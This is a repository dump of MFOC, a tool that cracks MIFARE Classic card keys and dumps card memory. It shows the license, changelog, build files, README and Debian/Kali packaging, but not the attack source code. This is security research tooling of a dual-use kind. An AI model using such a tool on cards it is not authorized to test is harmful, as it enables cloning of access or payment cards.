├── .gitignore ├── AUTHORS ├── COPYING ├── ChangeLog ├── Makefile.am ├── NEWS ├── README ├── README.md ├── TODO ├── configure.ac ├── debian ├── changelog ├── compat ├── control ├── copyright ├── docs ├── manpages ├── rules ├── source │ └── format └── watch ├── m4 └── .empty └── src ├── Makefile.am ├── crapto1.c ├── crapto1.h ├── crypto1.c ├── mfoc.1 ├── mfoc.c ├── mfoc.h ├── mifare.c ├── mifare.h ├── nfc-utils.c ├── nfc-utils.h ├── slre.c └── slre.h /.gitignore: -------------------------------------------------------------------------------- 1 | INSTALL 2 | Makefile 3 | Makefile.in 4 | aclocal.m4 5 | autom4te.cache/ 6 | config.h 7 | config.h.in 8 | config.log 9 | config.status 10 | configure 11 | compile 12 | depcomp 13 | install-sh 14 | missing 15 | src/*.lo 16 | src/*.o 17 | src/.deps/ 18 | src/Makefile 19 | src/Makefile.in 20 | src/mfoc 21 | src/mfoc.exe 22 | stamp-h1 23 | 24 | -------------------------------------------------------------------------------- /AUTHORS: -------------------------------------------------------------------------------- 1 | = Nethemba Core Team 2 | 3 | Norbert Szetei - main coder 4 | Pavol Luptak - project leader, minor coding, testing and bugreporting 5 | 6 | = Contributors 7 | 8 | Michal Boska - porting to libnfc 1.3.3 9 | Romuald Conty - porting to libnfc 1.3.9 and upper 10 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /ChangeLog: -------------------------------------------------------------------------------- 1 | 2013-01-20 Romuald Conty 2 | 3 | * ChangeLog: Update outdated email addresses 4 | 5 | 2013-01-20 Romuald Conty 6 | 7 | * src/crapto1.c, src/crapto1.h, src/crypto1.c, src/mfoc.c, 8 | src/mfoc.h: Format source code with "make style" 9 | 10 | 2013-01-20 Romuald Conty 11 | 12 | * Makefile.am: Add "make style" directive to format source code 13 | 14 | 2013-01-20 Romuald Conty 15 | 16 | * configure.ac, src/mfoc.c: Updates source to use libnfc 1.7.0 17 | 18 | 2013-01-20 Romuald Conty 19 | 20 | * src/mifare.c, src/mifare.h, src/nfc-utils.c, src/nfc-utils.h: 21 | Update mifare.* and nfc-utils.* from libnfc utils directory 22 | 23 | 2013-01-20 Romuald Conty 24 | 25 | * .gitignore: Ignore generated files in source repository 26 | 27 | 2012-10-14 Romuald Conty 28 | 29 | * src/mfoc.c: Fix tolerance (-T) option (Fixes issue 102) Thanks to 30 | fnargwibble 31 | 32 | 2012-06-03 Romuald Conty 33 | 34 | * src/mifare.c: do not display an error when authentication failed 35 | 36 | 2012-06-03 Romuald Conty 37 | 38 | * src/mfoc.c, src/mfoc.h: use authuid instead uid name when handling 39 | the authentication uid bytes (different from UID with 7bytes MIFARE 40 | Classic 41 | 42 | 2012-06-03 Romuald Conty 43 | 44 | * src/crapto1.h, src/mfoc.c, src/mfoc.h, src/mifare.c, 45 | src/mifare.h, src/nfc-utils.c, src/nfc-utils.h: some code clean up: 46 | find . -name '*.[ch]' | xargs perl -pi -e 's/\t+$//; s/ +$//' 47 | 48 | 2012-06-02 Romuald Conty 49 | 50 | * src/mfoc.c, src/mifare.h: Allow to find default keys using 7bytes 51 | UID MIFARE Classic tags 52 | 53 | 2012-06-02 Romuald Conty 54 | 55 | * src/mfoc.c: Remove not requiered anticol and configuration, its 56 | speed up default keys search 57 | 58 | 2012-06-02 Romuald Conty 59 | 60 | * src/mfoc.c: Enhance default keys search result: '/', '\' and 'x' 61 | means respectively A, B and both key(s) found. 62 | 63 | 2012-06-01 Romuald Conty 64 | 65 | * INSTALL, configure.ac, debian/control, src/Makefile.am, 66 | src/crapto1.c, src/mfoc.c, src/mfoc.h, src/mifare.c: foc> source 67 | code maintenance: - upgrade to last libnfc devel API - removes various warnings - update debian package 68 | 69 | 2012-05-28 Ludovic Rousseau 70 | 71 | * debian/watch: Update upstream URL Closes Issue #92 72 | 73 | 2012-05-22 Ludovic Rousseau 74 | 75 | * debian/control: Upgrade libnfc-dev version in Build-Depends: Closes Issue #91 76 | 77 | 2012-05-14 Romain Tartiere 78 | 79 | * src/crapto1.h: Export lfsr_rollback_word(). 80 | 81 | 2012-05-14 Romain Tartiere 82 | 83 | * src/mfoc.c, src/mfoc.h: Drop unused argument. 84 | 85 | 2012-05-14 Romain Tartiere 86 | 87 | * src/mfoc.c, src/mfoc.h: Fix a bunch of signed/unsigned 88 | comparisons. 89 | 90 | 2012-05-14 Romain Tartiere 91 | 92 | * configure.ac: Complete configure.ac. 93 | 94 | 2012-05-14 Romain Tartiere 95 | 96 | * src/Makefile.am: Rely on variables set by the autotools. 97 | 98 | 2012-01-26 Audrey Diacre 99 | 100 | * src/mfoc.c, src/mfoc.h, src/mifare.c, src/mifare.h, 101 | src/nfc-utils.c, src/nfc-utils.h: update to use libnfc's trunk 102 | 103 | 2011-10-17 Romuald Conty 104 | 105 | * configure.ac, src/Makefile.am: compilation improvements (Thanks to 106 | Thomas Hood) 107 | 108 | 2011-09-28 Romuald Conty 109 | 110 | * configure.ac, src/mfoc.c, src/mifare.c: Sync w/ libnfc-1.5.1 111 | (Fixes Issue 79) 112 | 113 | 2011-07-11 Romuald Conty 114 | 115 | * src/nfc-utils.c: sync nfc-utils.c with libnfc trunk. 116 | 117 | 2011-05-20 Romuald Conty 118 | 119 | * debian/control, debian/watch: debian: update pam_nfc, mfoc and 120 | libfreefare packages to use dh7. 121 | 122 | 2011-05-20 Romuald Conty 123 | 124 | * INSTALL, debian/control: debian: silent lintian warning 125 | 126 | 2011-05-20 Romuald Conty 127 | 128 | * src/mfoc.c: usage output is now more standard (Thanks to Thomas 129 | Hood) 130 | 131 | 2011-05-20 Romuald Conty 132 | 133 | * debian/changelog, debian/control, debian/rules: debian package now 134 | use dh_autoreconf to build against svn. 135 | 136 | 2011-05-19 Romuald Conty 137 | 138 | * debian/rules: in some cases ./configure file needs to be chmoded 139 | (dpkg-source -b mfoc). 140 | 141 | 2011-05-19 Romuald Conty 142 | 143 | * AUTHORS, debian/changelog, debian/compat, debian/control, 144 | debian/copyright, debian/docs, debian/manpages, debian/rules, 145 | debian/source/format, debian/watch: import debian files (Thanks to 146 | Thomas Hood) 147 | 148 | 2011-05-18 Romuald Conty 149 | 150 | * src/Makefile.am, src/mfoc.1: add manpage (Thanks to Thomas Hood) 151 | 152 | 2011-05-18 Romuald Conty 153 | 154 | * src/mfoc.c: read multiple keys from command line (Thanks to Frank 155 | Morgner) (Fixes Issue 63) 156 | 157 | 2011-05-18 Romuald Conty 158 | 159 | * ChangeLog, configure.ac: prepare 0.10.2 release 160 | 161 | 2011-05-18 Romuald Conty 162 | 163 | * src/mfoc.c: improve tests made before running and show tag info 164 | using print_nfc_iso14443a_info() 165 | 166 | 2011-04-08 Romuald Conty 167 | 168 | * src/mfoc.c: try to disconnect() the device on error. 169 | 170 | 2011-04-08 Romuald Conty 171 | 172 | * src/mfoc.c: show errors then exit on mf_configure() 173 | 174 | 2011-04-08 Romuald Conty 175 | 176 | * src/mfoc.c: apply a patch suggested by Valentijn Sessink. See 177 | Issue 56. 178 | 179 | 2011-04-08 Romuald Conty 180 | 181 | * src/mfoc.c: minors fixes and indent. 182 | 183 | 2011-04-08 Romuald Conty 184 | 185 | * src/mfoc.c: show error (using nfc_perror) then exit if some nfc_* 186 | functions failed on init. 187 | 188 | 2011-04-08 Romuald Conty 189 | 190 | * src/mfoc.c: minor debug improvements. 191 | 192 | 2011-04-04 Romuald Conty 193 | 194 | * configure.ac, src/mfoc.c: minor fixes/enhancements and version 195 | bumping 196 | 197 | 2011-04-04 Romuald Conty 198 | 199 | * src/mfoc.c, src/mifare.c: hide authentication errors 200 | 201 | 2011-04-04 Romuald Conty 202 | 203 | * src/mifare.c, src/mifare.h, src/nfc-utils.c, src/nfc-utils.h: sync 204 | nfc-utils.h/c and mifare.c/h with libnfc's ones. 205 | 206 | 2011-02-21 Romain Tartiere 207 | 208 | * src/Makefile.am: mfox: Unbreak autotools on FreeBSD. 209 | 210 | 2011-02-02 Romuald Conty 211 | 212 | * src/mfoc.c: use strtoll() function in order to retrieve 64bits 213 | wide value. (Fixes Issue 55) 214 | 215 | 2010-11-18 Romuald Conty 216 | 217 | * configure.ac: bump package version 218 | 219 | 2010-11-18 Romuald Conty 220 | 221 | * src/nfc-utils.c, src/nfc-utils.h: sync nfc-utils.* from libnfc 222 | 223 | 2010-11-02 Romuald Conty 224 | 225 | * configure.ac, src/mfoc.c, src/mfoc.h, src/nfc-utils.c, 226 | src/nfc-utils.h: upgrade code to work with develoment version of 227 | libnfc (upcomming 1.4.0) Update code to match with the new API; Sync 228 | nfc-utils.[ch] from libnfc's repo; Update ./configure to detect 229 | libnfc 1.4.0; 230 | 231 | 2010-09-14 Romuald Conty 232 | 233 | * AUTHORS, Makefile.in, aclocal.m4, autogen.sh, config.h, 234 | config.h.in, configure, configure.ac, depcomp, install-sh, missing, 235 | src/Makefile.am, src/mfoc.c, src/mifare.c, src/mifare.h, 236 | src/nfc-utils.c, src/nfc-utils.h: update code in order to use libnfc 237 | 1.3.9, minor clean up, and minor enhancements. 238 | 239 | 2010-09-14 Romuald Conty 240 | 241 | * Import MFOC 0.08 from http://www.nethemba.com/mfoc.tar.bz2 on 13th 242 | Sept 2010 243 | 244 | -------------------------------------------------------------------------------- /Makefile.am: -------------------------------------------------------------------------------- 1 | SUBDIRS = src 2 | 3 | style: 4 | find . -name "*.[ch]" -exec perl -pi -e 's/[ \t]+$$//' {} \; 5 | find . -name "*.[ch]" -exec astyle --formatted --mode=c --suffix=none \ 6 | --indent=spaces=2 --indent-switches --indent-preprocessor \ 7 | --keep-one-line-blocks --max-instatement-indent=60 \ 8 | --brackets=linux --pad-oper --unpad-paren --pad-header \ 9 | --align-pointer=name {} \; 10 | 11 | -------------------------------------------------------------------------------- /NEWS: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nfc-tools/mfoc/a5a4c9184d7b2a92c9a2f507009319ea9747bb30/NEWS -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nfc-tools/mfoc/a5a4c9184d7b2a92c9a2f507009319ea9747bb30/README -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | MFOC is an open source implementation of "offline nested" attack by Nethemba. 2 | 3 | This program allow to recover authentication keys from MIFARE Classic card. 4 | 5 | Please note MFOC is able to recover keys from target only if it have a known key: default one (hardcoded in MFOC) or custom one (user provided using command line). 6 | 7 | # Build from source 8 | 9 | ``` 10 | autoreconf -is 11 | ./configure 12 | make && sudo make install 13 | ``` 14 | 15 | # Usage # 16 | Put one MIFARE Classic tag that you want keys recovering; 17 | Lauching mfoc, you will need to pass options, see 18 | ``` 19 | mfoc -h 20 | ``` 21 | -------------------------------------------------------------------------------- /TODO: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nfc-tools/mfoc/a5a4c9184d7b2a92c9a2f507009319ea9747bb30/TODO -------------------------------------------------------------------------------- /configure.ac: -------------------------------------------------------------------------------- 1 | AC_INIT([mfoc],[0.10.7],[mifare@nethemba.com]) 2 | 3 | AC_CONFIG_MACRO_DIR([m4]) 4 | 5 | AC_CONFIG_HEADERS([config.h]) 6 | 7 | AC_CONFIG_SRCDIR([src/mfoc.c]) 8 | 9 | AM_INIT_AUTOMAKE(dist-bzip2 no-dist-gzip) 10 | 11 | AC_PROG_CC 12 | 13 | m4_ifdef([AM_SILENT_RULES],[AM_SILENT_RULES([yes])]) 14 | 15 | # Checks for pkg-config modules. 16 | LIBNFC_REQUIRED_VERSION=1.7.0 17 | PKG_CHECK_MODULES([libnfc], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ERROR([libnfc >= $LIBNFC_REQUIRED_VERSION is mandatory.])]) 18 | 19 | PKG_CONFIG_REQUIRES="libnfc" 20 | AC_SUBST([PKG_CONFIG_REQUIRES]) 21 | 22 | AC_C_INLINE 23 | 24 | # Checks for typedefs, structures, and compiler characteristics. 25 | AC_HEADER_STDBOOL 26 | AC_TYPE_SIZE_T 27 | AC_TYPE_UINT8_T 28 | AC_TYPE_UINT16_T 29 | AC_TYPE_UINT32_T 30 | AC_TYPE_UINT64_T 31 | 32 | # Checks for library functions. 33 | AC_FUNC_MALLOC 34 | AC_FUNC_REALLOC 35 | AC_CHECK_FUNCS([memset]) 36 | 37 | # C99 38 | CFLAGS="$CFLAGS -std=c99" 39 | 40 | AC_CONFIG_FILES([Makefile 41 | src/Makefile]) 42 | AC_OUTPUT 43 | -------------------------------------------------------------------------------- /debian/changelog: -------------------------------------------------------------------------------- 1 | mfoc (0.10.7+git20180724-1) unstable; urgency=medium 2 | 3 | * New upstream version 0.10.7+git20180724 4 | 5 | -- Samuel Henrique Tue, 24 Jul 2018 01:19:50 -0300 6 | 7 | mfoc (0.10.7+git20150512-0kali1) kali; urgency=medium 8 | 9 | * Import upstream (Closes: 0002240) 10 | * Update debian files: watch, copyright 11 | * Use debhelper 9 12 | 13 | -- Sophie Brun Tue, 12 May 2015 12:05:24 +0200 14 | 15 | mfoc (0.10.7-0kali2) kali; urgency=low 16 | 17 | * Updated watch file 18 | 19 | -- Mati Aharoni Sun, 12 Jan 2014 18:06:21 -0500 20 | 21 | mfoc (0.10.7-0kali1) kali; urgency=low 22 | 23 | * Upstream import 24 | 25 | -- Mati Aharoni Tue, 17 Dec 2013 09:12:38 -0500 26 | 27 | mfoc (0.10.6-0kali0) kali; urgency=low 28 | 29 | * Upstream import 30 | 31 | -- Mati Aharoni Mon, 19 Aug 2013 10:37:12 -0400 32 | 33 | mfoc (0.10.5-0kali0) kali; urgency=low 34 | 35 | * Upstream import. 36 | 37 | -- Mati Aharoni Sun, 24 Mar 2013 05:49:58 -0400 38 | 39 | mfoc (0.10.3-1kali4) kali; urgency=low 40 | 41 | * Removed desktop file 42 | 43 | -- Mati Aharoni Sat, 15 Dec 2012 14:23:37 -0500 44 | 45 | mfoc (0.10.3-1kali3) kali; urgency=low 46 | 47 | * Fixed compilation issue 48 | 49 | -- Mati Aharoni Tue, 04 Dec 2012 06:43:46 -0500 50 | 51 | mfoc (0.10.3-1kali2) kali; urgency=low 52 | 53 | * Version bump 54 | 55 | -- Mati Aharoni Sat, 01 Dec 2012 16:23:29 -0500 56 | 57 | mfoc (0.10.3-1kali1) kali; urgency=low 58 | 59 | * Version bump 60 | 61 | -- Mati Aharoni Sat, 01 Dec 2012 16:13:27 -0500 62 | 63 | mfoc (0.10.3-1kali0) kali; urgency=low 64 | 65 | * Initial release 66 | 67 | -- Mati Aharoni Sat, 01 Dec 2012 13:42:57 -0500 68 | -------------------------------------------------------------------------------- /debian/compat: -------------------------------------------------------------------------------- 1 | 11 2 | -------------------------------------------------------------------------------- /debian/control: -------------------------------------------------------------------------------- 1 | Source: mfoc 2 | Section: utils 3 | Priority: optional 4 | Maintainer: Debian Security Tools 5 | Uploaders: Samuel Henrique 6 | Build-Depends: debhelper (>= 11), libnfc-dev, pkg-config 7 | Standards-Version: 4.1.5 8 | Homepage: https://github.com/nfc-tools/mfoc 9 | Vcs-Browser: https://salsa.debian.org/pkg-security-team/mfoc 10 | Vcs-Git: https://salsa.debian.org/pkg-security-team/mfoc.git 11 | 12 | Package: mfoc 13 | Architecture: any 14 | Depends: ${shlibs:Depends}, ${misc:Depends} 15 | Description: MIFARE Classic offline cracker 16 | This package includes the mfoc program which cracks the 17 | encryption keys of the MIFARE Classic chip and dumps the 18 | chip's memory contents to a file. 19 | -------------------------------------------------------------------------------- /debian/copyright: -------------------------------------------------------------------------------- 1 | Format: http://dep.debian.net/deps/dep5 2 | Upstream-Name: MFOC 3 | Source: https://github.com/nfc-tools/mfoc 4 | 5 | Files: * 6 | Copyright: 2009 Norbert Szetei 7 | 2009 Pavol Luptak 8 | 2010 Micahal Boska 9 | 2010-2011 Romuald Conty 10 | License: GPL-2+ 11 | 12 | Files: src/crypto1.c src/crapto1.c src/crapto1.h 13 | Copyright: 2008-2009 bla 14 | License: GPL-2+ 15 | 16 | Files: src/slre.c src/slre.h 17 | Copyright: 2013 Cesanta Software Limited 18 | 2004-2013 Sergey Lyubka 19 | License: GPL-2+ 20 | 21 | Files: src/nfc-utils.c src/mifare.c src/mifare.h src/nfc-utils.h 22 | Copyright: 2010-2013 Philippe Teuwen 23 | 2009-2013 Romuald Conty 24 | 2009 Roel Verdult 25 | 2012-2013 Ludovic Rousseau 